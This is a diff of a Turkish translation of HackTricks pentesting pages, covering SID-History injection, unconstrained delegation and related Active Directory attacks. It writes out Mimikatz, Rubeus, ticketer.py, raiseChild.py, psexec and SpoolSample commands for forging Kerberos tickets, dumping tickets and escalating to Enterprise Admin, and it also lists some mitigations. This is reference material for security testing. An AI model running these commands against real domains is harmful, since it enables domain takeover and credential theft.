* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter**'da beni takip edin 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Hacking hilelerinizi [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)'ya PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,28 +1,34 @@
# PrintNightmare
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana dönüşmek için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>'ı öğrenin!</strong></summary>
* Bir **cybersecurity şirketinde mi çalışıyorsunuz**? **Şirketinizi HackTricks'te reklamını görmek** veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonunu keşfedin
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter'da** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
* **Hacking hilelerinizi [hacktricks repo'ya](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo'ya](https://github.com/carlospolop/hacktricks-cloud) PR göndererek paylaşın**.
</details>
**2024'te PrintNightmare hakkında harika bir blog yazısı kontrol edin: [https://www.hackingarticles.in/understanding-printnightmare-vulnerability/](https://www.hackingarticles.in/understanding-printnightmare-vulnerability/)**
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana dönüşmek için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>'ı öğrenin!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
* Bir **cybersecurity şirketinde mi çalışıyorsunuz**? **Şirketinizi HackTricks'te reklamını görmek** veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonunu keşfedin
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter'da** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
* **Hacking hilelerinizi [hacktricks repo'ya](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo'ya](https://github.com/carlospolop/hacktricks-cloud) PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
**2024'te PrintNightmare hakkında bu harika blog yazısını kontrol edin: [https://www.hackingarticles.in/understanding-printnightmare-vulnerability/](https://www.hackingarticles.in/understanding-printnightmare-vulnerability/)**
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,32 +1,35 @@
# SID Geçmişi Enjeksiyonu
# SID-History Injection
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong> ile sıfırdan kahraman olmak için AWS hackleme öğrenin<strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Bir **cybersecurity şirketinde** çalışıyor musunuz? **Şirketinizi HackTricks'te reklamını yapmak** ister misiniz? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT koleksiyonumuz**](https://opensea.io/collection/the-peass-family)
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter**'da takip edin 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Hacking hilelerinizi [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)** üzerinden PR göndererek paylaşın.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## SID Geçmişi Enjeksiyon Saldırısı
## SID History Injection Attack
**SID Geçmişi Enjeksiyon Saldırısı**nın odak noktası, **kullanıcıların alanlar arası göçü**ne yardımcı olurken eski alanlarındaki kaynaklara sürekli erişimi sağlamaktır. Bunun için kullanıcının yeni hesabının **SID Geçmişi**ne önceki Güvenlik Tanımlayıcısı'nı (SID) dahil etmek gerekmektedir. Özellikle, bu süreç, ebeveyn alanının yüksek ayrıcalıklı bir grubunun (örneğin Enterprise Admins veya Domain Admins) SID Geçmişi'ne eklendiğinde yetkisiz erişim sağlamak için manipüle edilebilir. Bu sömürü, ebeveyn alanındaki tüm kaynaklara erişim sağlar.
**SID History Injection Attack**'ın odak noktası, **kullanıcıların alanlar arasında taşınmasına** yardımcı olmak ve eski alanın kaynaklarına erişimi sürdürmektir. Bu, kullanıcının önceki Güvenlik Tanımlayıcısını (SID) yeni hesabının SID Geçmişine **ekleyerek** gerçekleştirilir. Özellikle, bu süreç, ana alanın yüksek ayrıcalıklı bir grubunun (örneğin, Enterprise Admins veya Domain Admins) SID'sini SID Geçmişine ekleyerek yetkisiz erişim sağlamak için manipüle edilebilir. Bu istismar, ana alandaki tüm kaynaklara erişim sağlar.
Bu saldırıyı gerçekleştirmek için iki yöntem bulunmaktadır: **Golden Ticket** veya **Diamond Ticket** oluşturarak.
Bu saldırıyı gerçekleştirmek için iki yöntem vardır: ya bir **Golden Ticket** ya da bir **Diamond Ticket** oluşturmak.
"Enterprise Admins" grubunun SID'sini belirlemek için öncelikle kök alanın SID'sini bulmak gerekmektedir. Kimlik tespitinden sonra, Enterprise Admins grubunun SID'si, kök alanın SID'sine `-519` eklenerek oluşturulabilir. Örneğin, kök alanın SID'si `S-1-5-21-280534878-1496970234-700767426` ise, "Enterprise Admins" grubunun sonuçta oluşan SID'si `S-1-5-21-280534878-1496970234-700767426-519` olacaktır.
**"Enterprise Admins"** grubunun SID'sini belirlemek için önce kök alanın SID'sini bulmak gerekir. Tanımlamanın ardından, Enterprise Admins grubunun SID'si kök alanın SID'sine `-519` eklenerek oluşturulabilir. Örneğin, kök alan SID'si `S-1-5-21-280534878-1496970234-700767426` ise, "Enterprise Admins" grubunun sonuçta elde edilen SID'si `S-1-5-21-280534878-1496970234-700767426-519` olacaktır.
Ayrıca **Domain Admins** gruplarını da kullanabilirsiniz, bunlar **512** ile biter.
Ayrıca **Domain Admins** gruplarını da kullanabilirsiniz, bu gruplar **512** ile biter.
Diğer alanın bir grubunun SID'sini (örneğin "Domain Admins") bulmanın başka bir yolu da:
Diğer bir alanın (örneğin "Domain Admins") grubunun SID'sini bulmanın başka bir yolu:
```powershell
Get-DomainGroup -Identity "Domain Admins" -Domain parent.io -Properties ObjectSid
```
### KRBTGT-AES256 ile Golden Ticket (Mimikatz)
### Golden Ticket (Mimikatz) ile KRBTGT-AES256
{% code overflow="wrap" %}
```bash
@ -47,13 +50,13 @@ mimikatz.exe "kerberos::golden /user:Administrator /domain:<current_domain> /sid
```
{% endcode %}
Daha fazla bilgi için altın biletler hakkında kontrol edin:
Golden ticketler hakkında daha fazla bilgi için kontrol edin:
{% content-ref url="golden-ticket.md" %}
[golden-ticket.md](golden-ticket.md)
{% endcontent-ref %}
### Elmas Bilet (Rubeus + KRBTGT-AES256)
### Diamond Ticket (Rubeus + KRBTGT-AES256)
{% code overflow="wrap" %}
```powershell
@ -67,7 +70,7 @@ Rubeus.exe golden /rc4:<krbtgt hash> /domain:<child_domain> /sid:<child_domain_s
```
{% endcode %}
Daha fazla bilgi için elmas biletler hakkında kontrol edin:
Diamond biletler hakkında daha fazla bilgi için kontrol edin:
{% content-ref url="diamond-ticket.md" %}
[diamond-ticket.md](diamond-ticket.md)
@ -81,7 +84,7 @@ ls \\mcorp-dc.moneycorp.local\c$
```
{% endcode %}
Kompromize edilen etki alanının KRBTGT özeti kullanarak kök veya Kurumsal yöneticiye yükseltin:
Kompromize edilmiş alanın KRBTGT hash'ini kullanarak kök veya Enterprise admin'e yükseltin:
{% code overflow="wrap" %}
```bash
@ -97,15 +100,15 @@ schtasks /Run /S mcorp-dc.moneycorp.local /TN "STCheck114"
```
{% endcode %}
Saldırıdan elde edilen izinlerle, örneğin yeni etki alanında bir DCSync saldırısı gerçekleştirebilirsiniz:
Elde edilen izinlerle, örneğin yeni alanda bir DCSync saldırısı gerçekleştirebilirsiniz:
{% content-ref url="dcsync.md" %}
[dcsync.md](dcsync.md)
{% endcontent-ref %}
### Linux üzerinden
### Linux'tan
#### [ticketer.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/ticketer.py) ile manuel olarak
#### [ticketer.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/ticketer.py) ile Manuel
```bash
# This is for an attack from child to root domain
# Get child domain SID
@ -129,19 +132,19 @@ psexec.py <child_domain>/Administrator@dc.root.local -k -no-pass -target-ip 10.1
#### Otomatik olarak [raiseChild.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/raiseChild.py) kullanarak
Bu, çocuk alanından ana alana yükselme işlemini otomatikleştiren bir Impacket betiğidir. Betik aşağıdakileri gerektirir:
Bu, **çocuk alanından ebeveyn alanına yükseltmeyi otomatikleştiren** bir Impacket betiğidir. Betik şunları gerektirir:
* Hedef etki alanı denetleyicisi
* Çocuk alanında bir yönetici kullanıcısı için kimlik bilgileri
* Hedef alan denetleyicisi
* Çocuk alanındaki bir yönetici kullanıcısı için kimlik bilgileri
Akış şu şekildedir:
* Ana alanın Enterprise Yöneticileri grubunun SID'sini alır
* Ebeveyn alanının Enterprise Admins grubunun SID'sini alır
* Çocuk alanındaki KRBTGT hesabının hash'ini alır
* Bir Golden Ticket oluşturur
* Ana alana giriş yapar
* Ana alanın Yönetici hesabının kimlik bilgilerini alır
* `target-exec` anahtarı belirtilmişse, ana alanın Etki Alanı Denetleyicisine Psexec aracılığıyla kimlik doğrular.
* Ebeveyn alanına giriş yapar
* Ebeveyn alanındaki Administrator hesabı için kimlik bilgilerini alır
* Eğer `target-exec` anahtarı belirtilmişse, Psexec aracılığıyla ebeveyn alanının Alan Denetleyicisi'ne kimlik doğrulaması yapar.
```bash
raiseChild.py -target-exec 10.10.10.10 <child_domain>/username
```
@ -149,14 +152,17 @@ raiseChild.py -target-exec 10.10.10.10 <child_domain>/username
* [https://adsecurity.org/?p=1772](https://adsecurity.org/?p=1772)
* [https://www.sentinelone.com/blog/windows-sid-history-injection-exposure-blog/](https://www.sentinelone.com/blog/windows-sid-history-injection-exposure-blog/)
{% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong> ile sıfırdan kahraman olmak için AWS hackleme öğrenin<strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
* Bir **cybersecurity şirketinde** çalışıyor musunuz? **Şirketinizi HackTricks'te reklamını yapmak** ister misiniz? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonunu keşfedin
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter**'da takip edin 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Hacking hilelerinizi [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)'ya PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,73 +1,79 @@
# Sınırsız Delege Etme
# Unconstrained Delegation
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahraman olmak için AWS hackleme öğrenin<strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Bir **cybersecurity şirketinde** çalışıyor musunuz? **Şirketinizi HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonunu keşfedin
* [**Resmi PEASS & HackTricks ürünlerine**](https://peass.creator-spring.com) sahip olun
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
* **Hacking hilelerinizi [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)'ya PR göndererek paylaşın**.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Sınırsız delege etme
## Unconstrained delegation
Bu, bir **Etki Alanı Yöneticisi'nin** etki alanı içindeki herhangi bir **Bilgisayara** ayarlayabileceği bir özelliktir. Ardından, bir **kullanıcı oturum açtığında**, o kullanıcının **TGT'nin bir kopyası** DC tarafından sağlanan TGS içinde **gönderilecek ve LSASS'ta belleğe kaydedilecektir**. Bu nedenle, makinede Yerel Yönetici ayrıcalıklarına sahipseniz, biletleri dökerek ve kullanıcıları taklit ederek herhangi bir makinede işlem yapabilirsiniz.
Bu, bir Alan Yöneticisinin alan içindeki herhangi bir **Bilgisayara** ayarlayabileceği bir özelliktir. Daha sonra, bir **kullanıcı Bilgisayara giriş yaptığında**, o kullanıcının **TGT'sinin bir kopyası** **DC tarafından sağlanan TGS'ye** **gönderilecek ve LSASS'te bellekte saklanacaktır**. Yani, makinede Yönetici ayrıcalıklarınız varsa, **biletleri dökebilir ve kullanıcıları taklit edebilirsiniz**.
Bu nedenle, bir etki alanı yöneticisi "Sınırsız Delege Etme" özelliği etkinleştirilmiş bir Bilgisayara oturum açarsa ve o makinede yerel yönetici ayrıcalıklarına sahipseniz, biletleri dökerek ve Etki Alanı Yöneticisini herhangi bir yerde taklit edebilirsiniz (etki alanı yükseltme).
Eğer bir alan yöneticisi "Sınırsız Delegasyon" özelliği etkin olan bir Bilgisayara giriş yaparsa ve o makinede yerel yönetici ayrıcalıklarınız varsa, bileti dökebilir ve Alan Yöneticisini her yerde taklit edebilirsiniz (alan privesc).
Bu özelliği içeren **Bilgisayar nesnelerini bulabilirsiniz**, [userAccountControl](https://msdn.microsoft.com/en-us/library/ms680832\(v=vs.85\).aspx) özniteliğinin [ADS\_UF\_TRUSTED\_FOR\_DELEGATION](https://msdn.microsoft.com/en-us/library/aa772300\(v=vs.85\).aspx) içerip içermediğini kontrol ederek. Powerview bunu şu şekilde yapar: (userAccountControl:1.2.840.113556.1.4.803:=524288) LDAP filtresi ile:
Bu **özelliğe sahip Bilgisayar nesnelerini bulabilirsiniz**; [userAccountControl](https://msdn.microsoft.com/en-us/library/ms680832\(v=vs.85\).aspx) niteliğinin [ADS\_UF\_TRUSTED\_FOR\_DELEGATION](https://msdn.microsoft.com/en-us/library/aa772300\(v=vs.85\).aspx) içerip içermediğini kontrol ederek. Bunu (userAccountControl:1.2.840.113556.1.4.803:=524288) LDAP filtresi ile yapabilirsiniz; bu, powerview'ün yaptığıdır:
<pre class="language-bash"><code class="lang-bash"># Sınırsız bilgisayarları listele
## Powerview
Get-NetComputer -Unconstrained #DC'ler her zaman görünür ancak etki alanı yükseltme için kullanışlı değildir
Get-NetComputer -Unconstrained #DC'ler her zaman görünür ama privesc için faydalı değildir
<strong>## ADSearch
</strong>ADSearch.exe --search "(&#x26;(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" --attributes samaccountname,dnshostname,operatingsystem
<strong># Mimikatz ile biletleri dök
<strong># Mimikatz ile biletleri dışa aktar
</strong>privilege::debug
sekurlsa::tickets /export #Tavsiye edilen yol
kerberos::list /export #Başka bir yol
# Oturum açmaları izle ve yeni biletleri dök
.\Rubeus.exe monitor /targetuser:&#x3C;kullanıcıadı> /interval:10 #Her 10 saniyede yeni TGT'leri kontrol et</code></pre>
# Girişleri izleyin ve yeni biletleri dışa aktarın
.\Rubeus.exe monitor /targetuser:&#x3C;username> /interval:10 #Yeni TGT'ler için her 10 saniyede bir kontrol et</code></pre>
Yönetici (veya kurban kullanıcı) biletini belleğe **Mimikatz** veya **Rubeus** ile yükle **Pass the Ticket** için.\
Yönetici (veya kurban kullanıcının) biletini bellekte **Mimikatz** veya **Rubeus ile yükleyin** [**Bileti Geç**](pass-the-ticket.md)**.**\
Daha fazla bilgi: [https://www.harmj0y.net/blog/activedirectory/s4u2pwnage/](https://www.harmj0y.net/blog/activedirectory/s4u2pwnage/)\
[**ired.team'da Sınırsız delege etme hakkında daha fazla bilgi.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-unrestricted-kerberos-delegation)
[**Sınırsız delegasyon hakkında daha fazla bilgi ired.team'de.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-unrestricted-kerberos-delegation)
### **Zorunlu Kimlik Doğrulama**
### **Zorla Kimlik Doğrulama**
Bir saldırgan, "Sınırsız Delege Etme" için izin verilen bir bilgisayarı **ele geçirebilirse**, bir **Yazıcı sunucusunu** otomatik olarak **giriş yapmaya kandırabilir** ve sunucunun belleğinde bir TGT kaydedebilir.\
Ardından, saldırgan, kullanıcı Yazıcı sunucusu bilgisayar hesabını taklit etmek için bir **Pass the Ticket saldırısı** gerçekleştirebilir.
Eğer bir saldırgan **"Sınırsız Delegasyona" izin verilen bir bilgisayarı ele geçirebilirse**, bir **Yazıcı sunucusunu** **otomatik olarak giriş yapmaya** **kandırabilir** ve bu da sunucunun belleğinde bir TGT **kaydedebilir**.\
Daha sonra, saldırgan **Bileti Geç saldırısı yaparak** yazıcı sunucu bilgisayar hesabını taklit edebilir.
Bir yazıcı sunucusunun herhangi bir makineye giriş yapmasını sağlamak için [**SpoolSample**](https://github.com/leechristensen/SpoolSample) kullanabilirsiniz:
Bir yazıcı sunucusunu herhangi bir makineye giriş yapması için [**SpoolSample**](https://github.com/leechristensen/SpoolSample) kullanabilirsiniz:
```bash
.\SpoolSample.exe <printmachine> <unconstrinedmachine>
```
Eğer TGT bir etki alanı denetleyicisinden geliyorsa, bir [**DCSync saldırısı**](acl-persistence-abuse/#dcsync) gerçekleştirebilir ve DC'den tüm karma değerlerini elde edebilirsiniz.\
[**Bu saldırı hakkında daha fazla bilgi için ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-dc-print-server-and-kerberos-delegation)
Eğer TGT bir etki alanı denetleyicisinden (DC) geliyorsa, bir [**DCSync attack**](acl-persistence-abuse/#dcsync) gerçekleştirebilir ve DC'den tüm hash'leri elde edebilirsiniz.\
[**Bu saldırı hakkında daha fazla bilgi ired.team'de.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-dc-print-server-and-kerberos-delegation)
**İşte kimlik doğrulamayı zorlamak için başka yollar:**
**Kimlik doğrulamayı zorlamak için diğer yollar:**
{% content-ref url="printers-spooler-service-abuse.md" %}
[printers-spooler-service-abuse.md](printers-spooler-service-abuse.md)
{% endcontent-ref %}
### Hafifletme
### Mitigasyon
* DA/Yönetici girişlerini belirli hizmetlere sınırlayın
* Ayrıcalıklı hesaplar için "Hesap hassas ve devredilemez" olarak ayarlayın.
* DA/Yönetici girişlerini belirli hizmetlerle sınırlayın
* Ayrıcalıklı hesaplar için "Hesap hassas ve devredilemez" ayarını yapın.
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahraman olmak için AWS hackleme öğrenin<strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
* Bir **cybersecurity şirketinde mi çalışıyorsunuz**? **Şirketinizi HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonunu
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
* **Hacking hilelerinizi [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)'ya PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.**
</details>
{% endhint %}

View file

@ -1,25 +1,28 @@
# PowerView/SharpView
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>A'dan Z'ye AWS hackleme konusunu öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
* **Bir siber güvenlik şirketinde mi çalışıyorsunuz? Şirketinizin **HackTricks'te reklamını görmek ister misiniz**? ya da **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz**? [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
